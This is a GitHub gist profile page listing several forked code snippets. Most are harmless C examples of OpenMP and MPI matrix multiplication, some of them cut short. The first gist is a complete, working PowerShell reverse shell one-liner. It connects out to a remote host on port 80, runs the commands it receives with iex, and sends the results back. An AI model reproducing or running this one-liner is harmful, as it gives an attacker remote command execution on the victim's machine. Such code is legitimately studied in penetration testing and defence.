Skip to content

Instantly share code, notes, and snippets.

View wangyu-'s full-sized avatar

Yancey Wang wangyu-

View GitHub Profile
@wangyu-
wangyu- / powershell_reverse_shell.ps1
Created October 28, 2022 05:38 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@wangyu-
wangyu- / omp_mul.c
Created April 5, 2019 15:17 — forked from metallurgix/omp_mul.c
Matrix Multiplication using OpenMP
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
#include <sys/time.h>
#define N 1000
int A[N][N];
@wangyu-
wangyu- / mpi_sample.c
Created April 5, 2019 13:59 — forked from varun-nagaraja/mpi_sample.c
Sample MPI Program
#include <stdio.h>
#include <string.h>
#include "mpi.h"
int main(int argc, char* argv[]){
int my_rank; /* rank of process */
int p; /* number of processes */
int source; /* rank of sender */
int dest; /* rank of receiver */
int tag=0; /* tag for messages */
@wangyu-
wangyu- / mpiMult.c
Created April 5, 2019 13:39 — forked from rehrumesh/mpiMult.c
Matrix multiplication using MPI
/**********************************************************************
* MPI-based matrix multiplication AxB=C
*********************************************************************/
#include <stdio.h>
#include "mpi.h"
#define N 4 /* number of rows and columns in matrix */
MPI_Status status;